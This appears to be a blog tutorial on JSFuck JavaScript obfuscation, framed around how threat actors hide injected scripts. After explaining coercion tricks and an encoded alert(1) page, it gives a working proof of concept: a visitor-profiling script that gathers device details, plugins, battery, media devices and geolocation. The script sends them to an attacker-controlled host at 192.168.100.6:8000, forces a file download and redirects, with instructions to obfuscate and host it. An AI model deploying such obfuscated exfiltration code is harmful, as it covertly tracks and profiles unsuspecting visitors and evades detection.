JSFuck for Javascript Obfuscation
Write any JavaScript with 6 Characters.
Introduction
JSFuck is an esoteric subset of JavaScript, where code is written using only six characters: [, ], (, ), !, and +. The name is derived from Brainfuck, an esoteric programming language that also uses a minimalistic alphabet of only punctuation.
- JSFuck Link:
https://github.com/aemkei/jsfuck - JSFuck Encoder:
https://jscrew.it/
Basics
JSFuck is valid JavaScript code, meaning that JSFuck programs can be run in any web browser or engine that interprets JavaScript. JSFuck is able to recreate all JavaScript functionality using such a limited set of characters because JavaScript allows the evaluation of any expression as any type.
JSFireTruck relies on type coercion, which automatically converts its limited set of symbols into the various ASCII characters or numeric values used in unobfuscated JavaScript code.
For example, to generate a number value of zero, we can use the following characters:
+[]
Use the console Window in the browser for your testing
How does this work? In JavaScript, [] denotes an empty array. When you put a + in front of it, JavaScript automatically coerces it into a numeric type. Because an empty array has no content, converting it to a number yields 0.
Using this technique, you can create the number 1 with just a few characters as follows:
+!![]
Because the [] array is blank, prefixing it with ! converts it to the boolean value of False. Adding a second ! converts it to a boolean value of True. Prefixing the entire string with + converts it to a numeric value. When converting True to a number, its value is 1.
We can generate other numbers by adding the same +!![] text, which represents an additional value of 1. For example, we can generate the number 2 from:
+!![] + +!![]
We can generate the number 3 from:
+!![] + +!![] + +!![]
Similarly, we can increase the numeric value by adding more +!![] text to the string.
We can also generate characters using this approach. For example, to create the character a, we can use the following code:
(![]+[])[1]
In this example, ![] becomes the boolean value False as mentioned earlier. Adding the symbols for a blank array [] makes the string ![]+[], which represents False + no value. JavaScript uses type coercion to convert ![]+[] to the ASCII string False.
To select the second letter of the word False, we need the first offset (second character) of the string. We do this by enclosing the original symbols in parentheses and using 1 for the offset, so (![]+[])[1] is the code that generates the letter a.
Follow Along:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
f 0=> (![]+[])[+[]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => +[[+!+[]]+[+[]]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
run => []["filter"]["constructor"]( CODE )()
eval => []["filter"]["constructor"]("return eval")()( CODE )
window => []["filter"]["constructor"]("return this")()
Threat Actors are now using this type of obfuscation.Below will review some malicious injected javascript.
1. Malicious Code -JSFuck
We now understand how just six characters can represent any JavaScript code. Malware authors use this technique to make code analysis more difficult.
The following source will do an alert(1):
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][([+[![]]]+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([+[![]]]+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+[]]+(!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+[]+[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![])
</script>
</body>
</html>
Including Payload under html file for easy running.Just Double Click.
POC
A thousands of websites with this type of obfuscated JavaScript injected into their webpage.
Spin up a Python Server:
1
python3 -m http.server 8000
- Obfuscated Script:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>Advanced Client Info Collector</title>
</head>
<body>
<script>
<<<PASTE OBFUSCATED CODE>>>
</script>
<p>Collecting info...</p>
</body>
</html>
Replace «
>> with your obfuscated code.Below is the original code to obfuscate.Use the site `https://jscrew.it/` to do that stuff.
- Original Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<script>
(async function() {
const info = {
userAgent: navigator.userAgent,
platform: navigator.platform,
hardwareConcurrency: navigator.hardwareConcurrency || 'N/A',
deviceMemory: navigator.deviceMemory || 'N/A',
screenResolution: `${screen.width}x${screen.height}`,
colorDepth: screen.colorDepth,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
online: navigator.onLine,
cookiesEnabled: navigator.cookieEnabled,
javaEnabled: navigator.javaEnabled ? navigator.javaEnabled() : 'N/A',
plugins: Array.from(navigator.plugins).map(p => p.name).join(', ') || 'None',
touchSupport: 'ontouchstart' in window || navigator.maxTouchPoints > 0,
referrer: document.referrer || 'None',
historyLength: history.length,
windowSize: `${window.innerWidth}x${window.innerHeight}`,
localTime: new Date().toString()
};
// Battery status if available
if (navigator.getBattery) {
try {
const battery = await navigator.getBattery();
info.battery = {
level: battery.level,
charging: battery.charging
};
} catch (e) {
info.battery = "Unavailable";
}
} else {
info.battery = "Unsupported";
}
// Media devices
if (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices) {
try {
const devices = await navigator.mediaDevices.enumerateDevices();
info.mediaDevices = devices.map(d => `${d.kind}:${d.label || 'N/A'}`);
} catch (e) {
info.mediaDevices = "Access denied";
}
} else {
info.mediaDevices = "Unsupported";
}
// Geolocation
function sendInfo(extra) {
const merged = Object.assign({}, info, extra);
const json = encodeURIComponent(JSON.stringify(merged));
// Send via GET request
const img = new Image();
img.src = `http://192.168.100.6:8000/?data=${json}`;
}
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
pos => {
sendInfo({
geolocation: {
lat: pos.coords.latitude,
lon: pos.coords.longitude,
accuracy: pos.coords.accuracy
}
});
},
err => {
sendInfo({ geolocation: 'Denied' });
},
{ timeout: 3000 }
);
} else {
sendInfo({ geolocation: 'Unsupported' });
}
// Create and trigger file download
const textContent = "Thank you for visiting.\n\nYour information has been processed.";
const blob = new Blob([textContent], {type: 'text/plain'});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'info.txt';
document.body.appendChild(a);
a.click();
URL.revokeObjectURL(url);
// Redirect after short delay
setTimeout(() => {
window.location.href = 'https://example.com';
}, 2000);
})();
</script>
Visiting Attackers Page
Once we visit attackers page system profiling is done and the information is sent to our attacker also a file is downloaded to emulate malware smuggling/html smuggling.Let’s examine.
information sent back to the attacker
Let’s url decode the information: Use:
1
python3 -c "import urllib.parse, sys; print(urllib.parse.unquote(sys.argv[1]))" '<<<URL_ENCODED_SHIT>>>'
What Was Exfiltred by Our Attacker?:
- Technical environment (OS, CPU, memory, screen, plugins)
- Locale (timezone, language)
- Browsing context (history length, cookies, online status, window size)
- etc
This is just a POC much can be done using JSFuck as shown above.
But using these obfuscation techniques has two drawbacks:
- The obfuscated code usually involves a large amount of text
- Due to the repeated use of the same characters, the obfuscated code is easy to detect, even if it is not easy to analyze





